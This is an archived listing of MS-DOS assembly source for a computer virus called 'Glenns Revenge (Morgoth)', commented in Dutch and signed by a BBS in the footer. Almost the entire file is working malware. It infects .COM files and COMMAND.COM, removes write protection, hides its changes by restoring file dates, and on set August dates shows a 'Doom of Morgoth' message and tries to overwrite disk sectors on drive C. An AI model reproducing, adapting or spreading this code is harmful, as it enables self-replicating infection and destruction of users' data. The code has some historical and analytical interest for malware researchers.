home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MORGOTH.ASM < prev    next >
Assembly Source File  |  1992-11-29  |  10KB  |  255 lines

  1. ;┌─────────────────────────────────────────────────────────────────────────────┐
  2. ;│                         Glenns Revenge (Morgoth)                            │
  3. ;├─────────────────────────────────────────────────────────────────────────────┤
  4. ;│ This will be a Parasytic Non-Resident .COM infector.                        │
  5. ;│ It will also infect COMMAND.COM.                                            │
  6. ;└─────────────────────────────────────────────────────────────────────────────┘
  7. ;
  8. ;
  9. ;
  10. ;
  11. ;────────────────────────────────────────────────────────────────────
  12. ; This will contain the segment status, original start, pre-defined
  13. ; defenitions, and public settings.
  14. ;────────────────────────────────────────────────────────────────────
  15. .MODEL TINY
  16.  
  17. Public        VirLen,MovLen,PutMsg
  18.  
  19. Code        Segment para 'Code'
  20. Assume        Cs:Code,Ds:Code,Es:Code
  21.  
  22.         Org 100h
  23.  
  24. Signature    Equ 0Addeh    ; Signature of virus is DEAD!
  25.  
  26. BegMonthAct    Equ 8        ; Begin Month of activation
  27. EndMonthAct    Equ 8        ; End Month of activation
  28. BegDayAct    Equ 3        ; Begin Day of activation
  29. EndDayAct    Equ 18      ; End Day of activation
  30.  
  31. ActString    Equ CR,LF,'This Personal Computer has been struck by the uncurable disease that is',CR,LF,'called "The Doom of Morgoth".',CR,LF,EOM
  32.  
  33. CR        Equ 13        ; Return
  34. LF        Equ 10        ; Linefeed
  35. EOM        Equ '$'        ; Einde Tekst
  36.  
  37. Buff1        Equ 0F000h
  38. Buff2        Equ Buff1+2
  39. VirLen        Equ Offset Einde-Offset Begin
  40. MovLen        Equ Offset Einde-Offset Mover
  41. Proggie        Equ Offset DTA+1Eh
  42.  
  43. MinLen        Equ Virlen+10    ;Minimale lengte te besmetten programma
  44. MaxLen        Equ 0EF00h    ; Maximale lengte te besmetten programma
  45.  
  46. ;────────────────────────────────────────────────────────────────────
  47. ; This will contain only macros, for pieces of code which will be
  48. ; used very often.
  49. ;────────────────────────────────────────────────────────────────────
  50.  
  51. ;────────────────────────────────────────────────────────────────────
  52. ; This part will contain the actual virus code, for searching the
  53. ; next victim and infection of it.
  54. ;────────────────────────────────────────────────────────────────────
  55.  
  56. Begin:
  57.         Jmp Short OverSig    ; Sprong naar Oversig vanwege kenmerk
  58.                 DW Signature            ; Herkenningsteken virus
  59. Oversig:
  60.                 Pushf                   ;------------------
  61.         Push AX            ; Alle registers opslaan voor
  62.         Push BX            ; later gebruik van het programma
  63.         Push CX                 ;
  64.         Push DX                 ;
  65.         Push DS                 ;
  66.         Push ES                 ;
  67.         Push SS                 ;
  68.         Push SI                 ;
  69.         Push DI                 ;------------------
  70.  
  71.         Mov AH,2Ah        ;------------------
  72.         Int 21h                 ; Systeemdatum vergelijken met
  73.         Cmp DH,BegMonthAct      ; activatiedatum. Als dit gelijk is
  74.         Jb InfectPart           ; moet word PutMsg aangeroepen, anders
  75.         Cmp DH,EndMonthAct      ; wordt InfectPart aangeroepen.
  76.         Jg InfectPart           ;
  77.         Cmp DL,BegDayAct        ;
  78.         Jb InfectPart           ;
  79.         Cmp DL,EndDayAct        ;
  80.         Jg InfectPart           ;------------------
  81. PutMsg:        Mov AH,09h        ; Activatiebericht wordt getoont en
  82.         Mov DX,Offset Msg       ; de eerste 80 sectoren van de C
  83.         Int 21h                 ; drive worden volgeschreven met
  84.         Int 20h            ;
  85.         Mov AL,2        ; onzin. Computer is vastgelopen :
  86.         Mov CX,80               ;     RESET!
  87.         Mov DX,0                ;
  88.         Int 26h                 ;
  89. Vastgezet:    Jmp Vastgezet           ;------------------
  90.  
  91. InfectPart:
  92.         Mov AX,Sprong           ;------------------
  93.         Mov Buf1,AX             ; Spronggegevens bewaren om
  94.         Mov BX,Source           ; besmette programma te starten
  95.         Mov Buf2,BX             ;------------------
  96.         Mov AH,1Ah        ; DTA area instellen op
  97.         Lea DX,DTA              ; $DTA area
  98.         Int 21h                 ;------------------
  99. Vindeerst:    Mov AH,4Eh        ; Zoeken naar 1e .COM file in directory
  100.         Mov Cx,1        ;
  101.         Lea DX,FindPath         ;
  102.         Int 21h                 ;------------------
  103.         Jnc KijkInfected    ; Geen gevonden, goto Afgelopen
  104.         Jmp Afgelopen        ;------------------
  105. KijkInfected:
  106.         Mov DX,DTA+1Ah        ;------------------
  107.         Cmp DX,MinLen           ; Kijken of programmalengte voldoet
  108.         Jb  ZoekNext            ; aan de eisen van het virus
  109.         Mov DX,MaxLen           ; (langer dan virus)
  110.         Cmp DX,DTA+1Ah          ;
  111.         Jb  ZoekNext            ;------------------
  112. On2:        Mov AH,3Dh        ; Zo ja , file openen en file handle
  113.         Mov AL,2        ; opslaan
  114.         Mov DX,Proggie        ;
  115.         Int 21h            ;
  116.         Mov FH,AX               ;------------------
  117.           Mov BX,AX               ;
  118.          Mov AH,3Fh              ; Lezen 1e 4 bytes van een file met
  119.          Mov CX,4                ; een mogelijk kenmerk van het virus
  120.         Mov DX,Buff1            ;
  121.         Int 21h                 ;------------------
  122. Sluiten:    Mov AH,3Eh        ; File weer sluiten
  123.         Int 21h            ;------------------
  124.         Mov AX,CS:[Buff2]    ; Vergelijken inhoud lokatie Buff1+2
  125.         Cmp AX,Signature        ; met Signature. Niet gelijk : Zoeknext
  126.         Jz  ZoekNext            ;------------------
  127.         Jmp Infect
  128. ZoekNext:
  129.         Mov AH,4Fh              ;------------------
  130.         Int 21h                 ; Zoeken naar volgende .COM file
  131.         Jnc KijkInfected        ; Geen gevonden, goto Afgelopen
  132.                 Jmp Afgelopen           ;------------------
  133.  
  134. Infect:
  135.         Mov AH,43h        ;------------------
  136.         Mov AL,0                ; Eventuele schrijf-
  137.                 Mov DX,Proggie            ; beveiliging weghalen
  138.         Int 21h                 ; van het programma
  139.         Mov AH,43h              ;
  140.         Mov AL,1                ;
  141.         And CX,11111110b        ;
  142.         Int 21h                 ;------------------
  143.         Mov AH,3Dh        ; Bestand openen
  144.         Mov AL,2                ;
  145.                 Mov DX,Proggie          ;
  146.         Int 21h                 ;------------------
  147.         Mov FH,AX        ; Opslaan op stack van
  148.         Mov BX,AX               ; datum voor later gebruik
  149.         Mov AH,57H              ;
  150.         Mov AL,0                ;
  151.         Int 21h                 ;
  152.         Push CX                 ;
  153.         Push DX                 ;------------------
  154.         Mov AH,3Fh              ; Inlezen van eerste deel van het
  155.         Mov CX,VirLen+2        ; programma om later terug te
  156.         Mov DX,Buff1            ; kunnen plaatsen.
  157.         Int 21h                 ;------------------
  158.         Mov AH,42H        ; File Pointer weer naar het
  159.         Mov AL,2        ; einde van het programma
  160.         Xor CX,CX        ; zetten
  161.         Xor DX,DX        ;
  162.         Int 21h                 ;------------------
  163.         Xor DX,DX        ; Bepalen van de variabele sprongen
  164.         Add AX,100h             ; in het virus (move-routine)
  165.         Mov Sprong,AX           ;
  166.         Add AX,MovLen        ;
  167.         Mov Source,AX           ;------------------
  168.         Mov AH,40H              ; Move routine bewaren aan
  169.                 Mov DX,Offset Mover     ; einde van file
  170.         Mov CX,MovLen           ;
  171.         Int 21h                 ;------------------
  172.         Mov AH,40H              ; Eerste deel programma aan-
  173.         Mov DX,Buff1            ; voegen na Move routine
  174.         Mov CX,VirLen           ;
  175.         Int 21h                 ;------------------
  176.                 Mov AH,42h              ; File Pointer weer naar
  177.         Mov AL,0        ; het begin van file
  178.         Xor CX,CX               ; sturen
  179.         Xor DX,DX               ;
  180.         Int 21h                 ;------------------
  181.         Mov AH,40h              ; En programma overschrijven
  182.         Mov DX,Offset Begin     ; met code van het virus
  183.         Mov CX,VirLen           ;
  184.         Int 21h                 ;------------------
  185.         Mov AH,57h        ; Datum van aangesproken file
  186.         Mov AL,1                ; weer herstellen
  187.         Pop DX                  ;
  188.         Pop CX                  ;
  189.         Int 21h                 ;------------------
  190.         Mov AH,3Eh        ; Sluiten file
  191.         Int 21h                 ;------------------
  192. Afgelopen:    Mov BX,Buf2             ; Sprongvariabelen weer
  193.         Mov Source,BX           ; op normaal zetten voor
  194.         Mov AX,Buf1             ; de Move routine
  195.         Mov Sprong,AX           ;------------------
  196.         Mov AH,1Ah              ; DTA adres weer op normaal
  197.         Mov Dx,80h              ; zetten en naar de Move
  198.         Int 21h                 ; routine springen
  199.         Jmp CS:[Sprong]         ;------------------
  200.  
  201. Msg        db ActString
  202.  
  203. ;────────────────────────────────────────────────────────────────────
  204. ; All variables are stored in here, like filehandle, date/time,
  205. ; search path and various buffers.
  206. ;────────────────────────────────────────────────────────────────────
  207.  
  208. FH          DW 0
  209. FindPath        DB '*.COM',0
  210.  
  211. Buf1        DW 0
  212. Buf2            DW 0
  213.  
  214. Sprong        DW 0
  215. Source        DW 0
  216.  
  217. DTA        DW 64 DUP(?)
  218.  
  219. ;────────────────────────────────────────────────────────────────────
  220. ; This will contain the relocator routine, located at the end of
  221. ; the ORIGINAL file. This will tranfer the 1st part of the program
  222. ; to it's original place.
  223. ;────────────────────────────────────────────────────────────────────
  224. Mover:
  225.         Mov DI,Offset Begin    ;------------------
  226.         Mov SI,Source           ; Verplaatsen van het 1e deel
  227.         Mov CX,VirLen-1         ; van het programma, wat achter
  228.         Movsb                   ; deze verplaatsroutine staat.
  229.         Rep Movsb               ;------------------
  230.         Pop DI            ; Opgeslagen registers weer
  231.         Pop SI                  ; terugzetten op originele
  232.         Pop SS                  ; waarde en springen naar
  233.         Pop ES                  ; het begin van het programma
  234.         Pop DS                  ; (waar nu het virus niet meer
  235.         Pop DX                  ; staat)
  236.         Pop CX                  ;
  237.         Pop BX                  ;
  238.         Pop AX                  ;
  239.         Popf                    ;
  240.         Mov BX,100h             ;
  241.         Jmp BX             ;------------------
  242.  
  243. ;────────────────────────────────────────────────────────────────────
  244. ; Only the end of the virus is stored in here.
  245. ;────────────────────────────────────────────────────────────────────
  246. Einde        db 0
  247.  
  248. Code            Ends
  249. End             Begin
  250.  
  251. ;  ─────────────────────────────────────────────────────────────────────────
  252. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  253. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  254. ;  ─────────────────────────────────────────────────────────────────────────
  255.